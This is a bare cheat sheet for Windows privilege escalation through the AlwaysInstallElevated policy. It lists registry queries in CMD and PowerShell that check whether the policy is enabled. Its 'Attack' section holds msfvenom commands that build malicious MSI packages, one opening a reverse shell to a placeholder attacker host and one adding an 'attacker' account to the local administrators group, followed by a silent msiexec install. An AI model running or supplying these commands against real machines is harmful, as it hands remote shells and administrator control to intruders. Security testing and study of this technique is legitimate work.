CMD

reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated
reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated

PowerShell

Get-ItemProperty -Path "HKCU:\\Software\\Policies\\Microsoft\\Windows\\Installer" -Name AlwaysInstallElevated
Get-ItemProperty -Path "HKLM:\\Software\\Policies\\Microsoft\\Windows\\Installer" -Name AlwaysInstallElevated

Attack

msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f msi -o malicious.msi

msfvenom -p windows/exec CMD="net localgroup administrators attacker /add" -f msi -o evil.msi

msiexec /quiet /qn /i C:\\Windows\\Temp\\malicious.msi